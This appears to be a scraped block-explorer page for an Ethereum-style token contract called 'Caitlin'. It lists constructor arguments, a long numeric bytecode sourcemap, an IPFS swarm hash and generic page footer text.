Arg [0] : name_ (string): Caitlin
Arg [1] : symbol_ (string): Caitlin
Arg [2] : amount (uint256): 10000000000

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 00000000000000000000000000000000000000000000000000000002540be400
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [4] : 436169746c696e00000000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [6] : 436169746c696e00000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

4766:5932:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5579:277;;;;;;:::i;:::-;;:::i;:::-;;5144:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7113:201;;;;;;:::i;:::-;;:::i;:::-;;;1937:14:1;;1930:22;1912:41;;1900:2;1885:18;7113:201:0;1772:187:1;7682:108:0;7770:12;;7682:108;;;2110:25:1;;;2098:2;2083:18;7682:108:0;1964:177:1;7322:295:0;;;;;;:::i;:::-;;:::i;5477:92::-;;;5560:1;2621:36:1;;2609:2;2594:18;5477:92:0;2479:184:1;5864:697:0;;;;;;:::i;:::-;;:::i;7853:127::-;;;;;;:::i;:::-;-1:-1:-1;;;;;7954:18:0;7927:7;7954:18;;;:9;:18;;;;;;;7853:127;3943:103;;;:::i;3636:87::-;3682:7;3709:6;3636:87;;-1:-1:-1;;;;;3709:6:0;;;4474:51:1;;4462:2;4447:18;3636:87:0;4328:203:1;5363:104:0;;;:::i;6696:193::-;;;;;;:::i;:::-;;:::i;6571:119::-;;;;;;:::i;:::-;;:::i;7988:183::-;;;;;;:::i;:::-;;:::i;6952:151::-;;;;;;:::i;:::-;-1:-1:-1;;;;;7068:18:0;;;7041:7;7068:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6952:151;4201:201;;;;;;:::i;:::-;;:::i;5579:277::-;5677:9;5672:177;5692:22;;;5672:177;;;5766:11;;5778:1;5766:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;5741:40:0;5746:2;-1:-1:-1;;;;;5741:40:0;;5750:3;5755:1;5758;5761:3;5741:40;;;;;;;;5180:25:1;;;5236:2;5221:18;;5214:34;;;;5279:2;5264:18;;5257:34;5322:2;5307:18;;5300:34;5167:3;5152:19;;4933:407;5741:40:0;;;;;;;;5817:11;;5829:1;5817:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;5810:5;;5801:36;;2110:25:1;;;-1:-1:-1;;;;;5801:36:0;;;;5810:5;;;;-1:-1:-1;;;;;;;;;;;5801:36:0;2098:2:1;2083:18;5801:36:0;;;;;;;5716:3;;;;:::i;:::-;;;;5672:177;;;;5579:277;;;;:::o;5144:100::-;5198:13;5231:5;5224:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5144:100;:::o;7113:201::-;7196:4;2930:10;7252:32;2930:10;7268:7;7277:6;7252:8;:32::i;:::-;-1:-1:-1;7302:4:0;;7113:201;-1:-1:-1;;;7113:201:0:o;7322:295::-;7453:4;2930:10;7511:38;7527:4;2930:10;7542:6;7511:15;:38::i;:::-;7560:27;7570:4;7576:2;7580:6;7560:9;:27::i;:::-;-1:-1:-1;7605:4:0;;7322:295;-1:-1:-1;;;;7322:295:0:o;5864:697::-;6035:4;;6052:480;6076:10;:17;6072:1;:21;6052:480;;;6142:10;6153:1;6142:13;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;;;;6120:50:0;6129:11;-1:-1:-1;;;;;6120:50:0;-1:-1:-1;;;;;;;;;;;6157:12:0;6120:50;;;;2110:25:1;;2098:2;2083:18;;1964:177;6120:50:0;;;;;;;;6375:10;6386:1;6375:13;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;;;;6190:213:0;6213:42;-1:-1:-1;;;;;6190:213:0;;6274:12;6305:1;6325;6345:11;6190:213;;;;;;;;5180:25:1;;;5236:2;5221:18;;5214:34;;;;5279:2;5264:18;;5257:34;5322:2;5307:18;;5300:34;5167:3;5152:19;;4933:407;6190:213:0;;;;;;;;6426:42;-1:-1:-1;;;;;6418:61:0;;6480:10;6491:1;6480:13;;;;;;;;:::i;:::-;;;;;;;;;;;6418:102;;-1:-1:-1;;;;;;6418:102:0;;;;;;;-1:-1:-1;;;;;6225:15:1;;;6418:102:0;;;6207:34:1;6277:15;;;6257:18;;;6250:43;6309:18;;;6302:34;;;6142:18;;6418:102:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;6095:3:0;;;;:::i;:::-;;;;6052:480;;;-1:-1:-1;6549:4:0;;5864:697;-1:-1:-1;;;;;5864:697:0:o;3943:103::-;3522:13;:11;:13::i;:::-;4008:30:::1;4035:1;4008:18;:30::i;:::-;3943:103::o:0;5363:104::-;5419:13;5452:7;5445:14;;;;;:::i;6696:193::-;6775:4;2930:10;6831:28;2930:10;6848:2;6852:6;6831:9;:28::i;6571:119::-;6672:3;-1:-1:-1;;;;;6656:26:0;6665:5;-1:-1:-1;;;;;6656:26:0;-1:-1:-1;;;;;;;;;;;6677:4:0;6656:26;;;;2110:25:1;;2098:2;2083:18;;1964:177;6656:26:0;;;;;;;;6571:119;;;:::o;7988:183::-;8045:4;2930:10;8082:42;8066:58;8063:78;;8126:5;:15;;-1:-1:-1;;;;;;8126:15:0;-1:-1:-1;;;;;8126:15:0;;;;;8063:78;-1:-1:-1;8159:4:0;;7988:183;-1:-1:-1;7988:183:0:o;4201:201::-;3522:13;:11;:13::i;:::-;-1:-1:-1;;;;;4290:22:0;::::1;4282:73;;;::::0;-1:-1:-1;;;4282:73:0;;6831:2:1;4282:73:0::1;::::0;::::1;6813:21:1::0;6870:2;6850:18;;;6843:30;6909:34;6889:18;;;6882:62;-1:-1:-1;;;6960:18:1;;;6953:36;7006:19;;4282:73:0::1;;;;;;;;;4366:28;4385:8;4366:18;:28::i;:::-;4201:201:::0;:::o;8594:380::-;-1:-1:-1;;;;;8730:19:0;;8722:68;;;;-1:-1:-1;;;8722:68:0;;7238:2:1;8722:68:0;;;7220:21:1;7277:2;7257:18;;;7250:30;7316:34;7296:18;;;7289:62;-1:-1:-1;;;7367:18:1;;;7360:34;7411:19;;8722:68:0;7036:400:1;8722:68:0;-1:-1:-1;;;;;8809:21:0;;8801:68;;;;-1:-1:-1;;;8801:68:0;;7643:2:1;8801:68:0;;;7625:21:1;7682:2;7662:18;;;7655:30;7721:34;7701:18;;;7694:62;-1:-1:-1;;;7772:18:1;;;7765:32;7814:19;;8801:68:0;7441:398:1;8801:68:0;-1:-1:-1;;;;;8882:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8934:32;;2110:25:1;;;8934:32:0;;2083:18:1;8934:32:0;1964:177:1;9908:453:0;-1:-1:-1;;;;;7068:18:0;;;10043:24;7068:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;-1:-1:-1;;10110:37:0;;10106:248;;10192:6;10172:16;:26;;10164:68;;;;-1:-1:-1;;;10164:68:0;;8046:2:1;10164:68:0;;;8028:21:1;8085:2;8065:18;;;8058:30;8124:31;8104:18;;;8097:59;8173:18;;10164:68:0;7844:353:1;10164:68:0;10276:51;10285:5;10292:7;10320:6;10301:16;:25;10276:8;:51::i;:::-;10032:329;9908:453;;;:::o;8986:914::-;-1:-1:-1;;;;;9117:18:0;;9109:68;;;;-1:-1:-1;;;9109:68:0;;8404:2:1;9109:68:0;;;8386:21:1;8443:2;8423:18;;;8416:30;8482:34;8462:18;;;8455:62;-1:-1:-1;;;8533:18:1;;;8526:35;8578:19;;9109:68:0;8202:401:1;9109:68:0;-1:-1:-1;;;;;9196:16:0;;9188:64;;;;-1:-1:-1;;;9188:64:0;;8810:2:1;9188:64:0;;;8792:21:1;8849:2;8829:18;;;8822:30;8888:34;8868:18;;;8861:62;-1:-1:-1;;;8939:18:1;;;8932:33;8982:19;;9188:64:0;8608:399:1;9188:64:0;9270:5;;-1:-1:-1;;;;;9270:5:0;:19;9267:272;;9315:5;;-1:-1:-1;;;;;9309:11:0;;;9315:5;;9309:11;:65;;;;-1:-1:-1;9332:42:0;-1:-1:-1;;;;;9324:50:0;;;;9309:65;9306:222;;;9394:6;9473:3;9464:6;:12;9456:21;;;;;;9376:152;9306:222;-1:-1:-1;;;;;9573:15:0;;9551:19;9573:15;;;:9;:15;;;;;;9607:21;;;;9599:72;;;;-1:-1:-1;;;9599:72:0;;9214:2:1;9599:72:0;;;9196:21:1;9253:2;9233:18;;;9226:30;9292:34;9272:18;;;9265:62;-1:-1:-1;;;9343:18:1;;;9336:36;9389:19;;9599:72:0;9012:402:1;9599:72:0;-1:-1:-1;;;;;9707:15:0;;;;;;;:9;:15;;;;;;9725:20;;;9707:38;;9760:13;;;;;;;;;;:23;;;;;;9816:26;;-1:-1:-1;;;;;;;;;;;9816:26:0;;;9739:6;2110:25:1;;2098:2;2083:18;;1964:177;9816:26:0;;;;;;;;9855:37;10371:124;3801:132;3682:7;3709:6;-1:-1:-1;;;;;3709:6:0;2930:10;3865:23;3857:68;;;;-1:-1:-1;;;3857:68:0;;9621:2:1;3857:68:0;;;9603:21:1;;;9640:18;;;9633:30;9699:34;9679:18;;;9672:62;9751:18;;3857:68:0;9419:356:1;4562:191:0;4636:16;4655:6;;-1:-1:-1;;;;;4672:17:0;;;-1:-1:-1;;;;;;4672:17:0;;;;;;4705:40;;4655:6;;;;;;;4705:40;;4636:16;4705:40;4625:128;4562:191;:::o;14:173:1:-;82:20;;-1:-1:-1;;;;;131:31:1;;121:42;;111:70;;177:1;174;167:12;111:70;14:173;;;:::o;192:763::-;296:6;304;312;320;373:2;361:9;352:7;348:23;344:32;341:52;;;389:1;386;379:12;341:52;429:9;416:23;458:18;499:2;491:6;488:14;485:34;;;515:1;512;505:12;485:34;553:6;542:9;538:22;528:32;;598:7;591:4;587:2;583:13;579:27;569:55;;620:1;617;610:12;569:55;660:2;647:16;686:2;678:6;675:14;672:34;;;702:1;699;692:12;672:34;757:7;750:4;740:6;737:1;733:14;729:2;725:23;721:34;718:47;715:67;;;778:1;775;768:12;715:67;809:4;801:13;;;;-1:-1:-1;833:6:1;-1:-1:-1;;871:20:1;;858:34;;-1:-1:-1;911:38:1;945:2;930:18;;911:38;:::i;:::-;901:48;;192:763;;;;;;;:::o;960:548::-;1072:4;1101:2;1130;1119:9;1112:21;1162:6;1156:13;1205:6;1200:2;1189:9;1185:18;1178:34;1230:1;1240:140;1254:6;1251:1;1248:13;1240:140;;;1349:14;;;1345:23;;1339:30;1315:17;;;1334:2;1311:26;1304:66;1269:10;;1240:140;;;1244:3;1429:1;1424:2;1415:6;1404:9;1400:22;1396:31;1389:42;1499:2;1492;1488:7;1483:2;1475:6;1471:15;1467:29;1456:9;1452:45;1448:54;1440:62;;;;960:548;;;;:::o;1513:254::-;1581:6;1589;1642:2;1630:9;1621:7;1617:23;1613:32;1610:52;;;1658:1;1655;1648:12;1610:52;1681:29;1700:9;1681:29;:::i;:::-;1671:39;1757:2;1742:18;;;;1729:32;;-1:-1:-1;;;1513:254:1:o;2146:328::-;2223:6;2231;2239;2292:2;2280:9;2271:7;2267:23;2263:32;2260:52;;;2308:1;2305;2298:12;2260:52;2331:29;2350:9;2331:29;:::i;:::-;2321:39;;2379:38;2413:2;2402:9;2398:18;2379:38;:::i;:::-;2369:48;;2464:2;2453:9;2449:18;2436:32;2426:42;;2146:328;;;;;:::o;2668:127::-;2729:10;2724:3;2720:20;2717:1;2710:31;2760:4;2757:1;2750:15;2784:4;2781:1;2774:15;2800:1332;2911:6;2919;2927;2935;2988:3;2976:9;2967:7;2963:23;2959:33;2956:53;;;3005:1;3002;2995:12;2956:53;3028:29;3047:9;3028:29;:::i;:::-;3018:39;;3076:2;3129;3118:9;3114:18;3101:32;3152:18;3193:2;3185:6;3182:14;3179:34;;;3209:1;3206;3199:12;3179:34;3247:6;3236:9;3232:22;3222:32;;3292:7;3285:4;3281:2;3277:13;3273:27;3263:55;;3314:1;3311;3304:12;3263:55;3350:2;3337:16;3372:2;3368;3365:10;3362:36;;;3378:18;;:::i;:::-;3424:2;3421:1;3417:10;3456:2;3450:9;3519:2;3515:7;3510:2;3506;3502:11;3498:25;3490:6;3486:38;3574:6;3562:10;3559:22;3554:2;3542:10;3539:18;3536:46;3533:72;;;3585:18;;:::i;:::-;3621:2;3614:22;3671:18;;;3705:15;;;;-1:-1:-1;3747:11:1;;;3743:20;;;3775:19;;;3772:39;;;3807:1;3804;3797:12;3772:39;3831:11;;;;3851:148;3867:6;3862:3;3859:15;3851:148;;;3933:23;3952:3;3933:23;:::i;:::-;3921:36;;3884:12;;;;3977;;;;3851:148;;;2800:1332;;4018:6;;-1:-1:-1;;;;4071:2:1;4056:18;;4043:32;;4122:2;4107:18;4094:32;;2800:1332;-1:-1:-1;;;;;2800:1332:1:o;4137:186::-;4196:6;4249:2;4237:9;4228:7;4224:23;4220:32;4217:52;;;4265:1;4262;4255:12;4217:52;4288:29;4307:9;4288:29;:::i;:::-;4278:39;4137:186;-1:-1:-1;;;4137:186:1:o;4536:260::-;4604:6;4612;4665:2;4653:9;4644:7;4640:23;4636:32;4633:52;;;4681:1;4678;4671:12;4633:52;4704:29;4723:9;4704:29;:::i;:::-;4694:39;;4752:38;4786:2;4775:9;4771:18;4752:38;:::i;:::-;4742:48;;4536:260;;;;;:::o;4801:127::-;4862:10;4857:3;4853:20;4850:1;4843:31;4893:4;4890:1;4883:15;4917:4;4914:1;4907:15;5345:232;5384:3;5405:17;;;5402:140;;5464:10;5459:3;5455:20;5452:1;5445:31;5499:4;5496:1;5489:15;5527:4;5524:1;5517:15;5402:140;-1:-1:-1;5569:1:1;5558:13;;5345:232::o;5582:380::-;5661:1;5657:12;;;;5704;;;5725:61;;5779:4;5771:6;5767:17;5757:27;;5725:61;5832:2;5824:6;5821:14;5801:18;5798:38;5795:161;;5878:10;5873:3;5869:20;5866:1;5859:31;5913:4;5910:1;5903:15;5941:4;5938:1;5931:15;5795:161;;5582:380;;;:::o;6347:277::-;6414:6;6467:2;6455:9;6446:7;6442:23;6438:32;6435:52;;;6483:1;6480;6473:12;6435:52;6515:9;6509:16;6568:5;6561:13;6554:21;6547:5;6544:32;6534:60;;6590:1;6587;6580:12

Swarm Source

ipfs://97f04043714f37475c111f76e674b0b3ac4c99295c48f7d3de110e9a2e55afe2
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.